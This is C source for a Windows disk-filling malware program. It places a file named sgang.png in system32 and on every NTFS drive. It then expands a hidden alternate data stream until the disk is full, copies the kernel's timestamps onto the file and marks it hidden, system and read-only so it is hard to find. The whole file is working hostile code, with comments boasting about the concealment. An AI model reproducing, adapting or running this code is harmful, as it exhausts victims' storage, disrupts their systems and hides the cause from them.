/************************************************************************
 *									*
 *	Fill - create an evil .png file in every disk of the system	*
 *	with 1 kb of data and an enormous amount of metatada		*
 *	the disk will appear full, and the png only 1 kb big		*
 *									*
 *	Matteo Croce <rootkit85@yahoo.it>				*
 *									*
 ************************************************************************/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

//#define DEBUG

#ifdef DEBUG
#include <stdio.h>
	#define D(x, ...) fprintf(stderr, x"\n", __VA_ARGS__)
#else
	#define D(...)
#endif

// our funny png
const char sgang[] =
	"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
	"\x00\x00\x00\x13\x00\x00\x00\x13\x08\x03\x00\x00\x00\x45\x8e\xc6"
	"\xfe\x00\x00\x01\xa4\x50\x4c\x54\x45\x00\x00\x00\x9f\x40\x21\xa0"
	"\x42\x23\xa2\x45\x22\xa3\x46\x23\xa2\x47\x27\xa3\x47\x26\xa3\x48"
	"\x24\xa3\x48\x25\xa5\x49\x23\xa5\x49\x25\xa4\x4a\x28\xa5\x4b\x24"
	"\xa5\x4b\x25\xa5\x4b\x2a\xa7\x4d\x23\xa7\x4d\x27\xa8\x51\x26\xa8"
	"\x50\x31\xa8\x52\x33\xaa\x54\x2d\xab\x56\x2f\xb0\x5a\x28\xaa\x5d"
	"\x44\xb6\x66\x37\xbc\x6d\x23\xbd\x73\x2c\xc1\x79\x35\xc4\x80\x31"
	"\xba\x89\x2f\xc7\x85\x32\xac\x90\x4c\xae\x92\x4c\xd7\x95\x22\xd9"
	"\x99\x24\xbe\xa2\x69\xd4\xa5\x29\xc8\xa8\x44\xe0\xa4\x24\xd6\xa8"
	"\x2c\xe1\xa6\x22\xc0\xab\x78\xdd\xab\x2d\xe3\xaa\x25\xcb\xb0\x4b"
	"\xde\xad\x2d\xe6\xad\x25\xca\xb5\x51\xe9\xb3\x25\xea\xb4\x23\xea"
	"\xb4\x25\xe3\xb6\x35\xd5\xb3\x6d\xe2\xb7\x40\xd8\xb6\x6a\xed\xbb"
	"\x29\xeb\xbb\x2f\xe9\xbb\x35\xed\xbb\x2c\xce\xb9\x8e\xde\xbb\x5e"
	"\xf2\xbe\x30\xf0\xc0\x2d\xf1\xc2\x2e\xec\xc3\x37\xdd\xc2\x68\xf4"
	"\xc2\x30\xe6\xc1\x61\xef\xc5\x44\xf9\xc9\x34\xdf\xc6\x91\xe8\xc9"
	"\x6f\xf4\xce\x38\xf3\xcf\x3b\xf4\xce\x40\xf6\xcf\x38\xdb\xcb\xae"
	"\xf8\xd2\x3e\xf9\xd4\x3e\xef\xd1\x80\xf9\xd9\x3d\xfc\xdc\x43\xfb"
	"\xdd\x45\xf6\xda\x69\xfe\xde\x42\xd7\xd7\xd7\xf2\xd8\x99\xe4\xd8"
	"\xc2\xfd\xe3\x4a\xfe\xe4\x4a\xfd\xe5\x4b\xf5\xde\x99\xfc\xe8\x52"
	"\xfc\xea\x4e\xfc\xea\x4f\xed\xde\xc0\xec\xdf\xc0\xfd\xec\x52\xeb"
	"\xe0\xc6\xfd\xed\x51\xfd\xed\x53\xfd\xed\x56\xfd\xee\x53\xfd\xef"
	"\x53\xfc\xef\x5a\xfd\xf0\x54\xfd\xf1\x5a\xf3\xe4\xc2\xf7\xe6\xb3"
	"\xf8\xe7\xbf\xf7\xe8\xc2\xf8\xe9\xc4\xf6\xe9\xcd\xf2\xea\xe1\xf1"
	"\xed\xe3\xf5\xee\xdb\xf9\xee\xd1\xf5\xef\xe8\xf3\xf1\xee\xfa\xf2"
	"\xdd\xf8\xf3\xe8\xfb\xf5\xe5\xf8\xf6\xf1\xf9\xf7\xf3\xfc\xf7\xec"
	"\xfc\xf8\xee\xfb\xf8\xf3\xfc\xfa\xf5\xfd\xfa\xf4\xfc\xfa\xf9\xfd"
	"\xfb\xf4\xfc\xfb\xf9\xfc\xfc\xfa\xfd\xfc\xf9\xfe\xfc\xf9\xfe\xfd"
	"\xf9\xfe\xfd\xfa\xfe\xfd\xfb\xfe\xfe\xfc\xff\xff\xff\x63\x10\x5d"
	"\x55\x00\x00\x01\x32\x49\x44\x41\x54\x18\xd3\x63\xe8\x06\x81\xb6"
	"\xda\x92\x30\xff\xb0\xbc\xca\x32\x30\x8f\x01\x88\xbb\x72\x5d\x3c"
	"\x83\xa2\x62\x22\xfd\x1c\x4c\x0b\xba\x20\x62\xed\xe5\xc1\x31\x59"
	"\x99\x69\x71\x31\x91\x91\x1e\xc6\x8e\xad\x20\xb1\xce\x72\xbf\x2c"
	"\x20\x48\x4f\x06\x8a\x85\x04\x18\x9b\x75\x00\xc5\xf2\x3d\xb2\xf4"
	"\xe5\x15\xf4\x53\x63\x62\x74\xe4\x15\x54\xbd\xd5\x13\xba\x19\x9a"
	"\x72\x22\xb3\xe4\x33\xb2\xe4\x81\x62\xf2\x11\x81\xf2\x1e\x16\x26"
	"\x75\x0c\xb5\x1e\xa9\xa9\x20\xbd\x29\x31\x40\xbd\x81\x7e\x1e\xf6"
	"\x2a\x15\x0c\x25\x81\xa9\xa9\x20\xd1\xc4\x58\xa0\x50\xa0\x9f\xab"
	"\x9d\x6e\x12\x43\x74\xa4\x20\x33\x2f\x0f\x0f\x07\x13\x13\x13\x3b"
	"\x1f\x1f\x27\x17\xbf\x9e\x35\x83\x7f\x24\x23\x03\x10\x84\x76\x37"
	"\x32\x80\x01\xa3\x92\x26\x43\x58\xa0\x1c\x44\xac\x1b\x22\x26\xad"
	"\x65\xcd\x50\xe2\x21\xc3\x8d\x24\x26\x2c\xa9\x12\xce\x50\xe3\xe0"
	"\x25\xc5\x80\x00\x62\xda\xb2\xa5\x0c\x0d\xee\x1e\xbe\xe2\x70\x21"
	"\x01\x35\x15\xe5\x2a\x86\xee\x6c\x67\x0f\x4b\x11\xa8\x90\x90\xa2"
	"\x91\x6c\x11\xd0\x6f\x1d\xc5\xce\x4e\xb6\x12\x2c\x6c\x8c\x6c\xac"
	"\xa2\x1a\x86\xb2\xe1\x2d\xa0\x70\xa9\x2f\xb6\x31\x32\xb7\x32\x32"
	"\x32\x30\x32\x52\x91\x0d\xaf\x86\x84\x5f\x47\xbc\x9b\x8a\x8a\x91"
	"\x91\xae\x8a\xac\x72\x51\x0b\x34\x4c\xbb\xbb\xeb\x2a\x92\xac\x35"
	"\xad\x7d\x0a\x9b\xc1\x3c\x00\x92\xd0\x64\x0e\xaa\x66\xb6\x2d\x00"
	"\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82";

const DWORD sgang_size = 795;

BOOL restore = FALSE;
FILETIME ct, lat, lwt;

void GoCreate(const char[]);

int main(int argc, char *argv[])
{
	char sys[MAX_PATH], drive[] = "\0:\\";
	DWORD i, drives, root_flags = 0;

	// get "%SystemRoot%\system32", we will use it later
	GetSystemDirectory(sys, MAX_PATH);
	lstrcat(sys, "\\");

	// get ntoskrnl.exe time to better hide out evil png
	if(argc == 2 && !lstrcmp(argv[1], "-r"))
		restore = TRUE;
	else {
		char ntoskrnl[MAX_PATH];
		HANDLE file;
		lstrcpy(ntoskrnl, sys);
		lstrcat(ntoskrnl, "ntoskrnl.exe");
		file = CreateFile(ntoskrnl, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		GetFileTime(file, &ct, &lat, &lwt);
		CloseHandle(file);
	}

	// Let's create the evil file in "%SystemRoot%\system32"
	*drive = *sys;
	GetVolumeInformation(drive, NULL, 0, NULL, NULL, &root_flags, NULL, 0);
	if(root_flags & FILE_NAMED_STREAMS) {
		D("%s supports named streams ;)", sys);
		GoCreate(sys);
	}

	// do it for all drives in the system
	drives = GetLogicalDrives();
	for(i = 0; i < 32; i++) {
		if(drives & (1 << i)) {
			DWORD flags = 0;
			*drive = i + 'A';
			D("%c: is there", *drive);
			if(*drive == *sys) {
				D("\tbut it cointains %s! Skipping", sys);
				continue;
			}

			// obviously only if the drive supports it (NTFS)
			GetVolumeInformation(drive, NULL, 0, NULL, NULL, &flags, NULL, 0);
			if(flags & FILE_NAMED_STREAMS) {
				D("%s", "\tand supports named streams ;)");
				GoCreate(drive);
			}
		}
	}
	return 0;
}

void GoCreate(const char dir[])
{
	DWORD written;
	HANDLE file;

	char path[MAX_PATH];
	lstrcpy(path, dir);
	lstrcat(path, "sgang.png");

	// we may delete e previous evil file
	SetFileAttributes(path, FILE_ATTRIBUTE_NORMAL);
	DeleteFile(path);

	// don't even think i'm good! I just use it on my box to try the program multiple time
	if(restore) {
		D("removing %s", path);
		return;
	}

	// create the file
	file = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(file != INVALID_HANDLE_VALUE) {
		D("creating %s", path);
		// write the funny thing
		WriteFile(file, sgang, sgang_size, &written, NULL);
		SetFileTime(file, &ct, &lat, &lwt);
		CloseHandle(file);

		// open a stream and start to fill it
		lstrcat(path, ":filldata");
		file = CreateFile(path, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if(file != INVALID_HANDLE_VALUE) {
			ULARGE_INTEGER free;
			D("filling %s", path);

			// while there are X bytes free expand the stream by X/2
			// don't expand it by exactly X as sometimes The Stupid OS(TM)
			// prevent you to fill the disk, maybe due to cluster size issues
			do {
				GetDiskFreeSpaceEx(dir, &free, NULL, NULL);
				D("I have %luG and %lu bytes left", free.HighPart << 2, free.LowPart);

				// some 64 bit arithmetic to divide by 2
				//free.LowPart >>= 1;
				//free.LowPart |= (free.HighPart << 31);
				//free.HighPart >>= 1;
	
				// do the job in 64 bit mode
				free.QuadPart >>= 1;
	
				SetFilePointer(file, free.LowPart, &free.HighPart, FILE_CURRENT);
			}
			while((free.LowPart || free.HighPart) && SetEndOfFile(file));

			// close it, but only after being set the date to the same oif ntoskern.exe ;)
			SetFileTime(file, &ct, &lat, &lwt);
			CloseHandle(file);

		} else
			D("can't write in %s", path);
		// Make the file difficult to view
		SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
	} else
		D("can't write in %s", path);
}

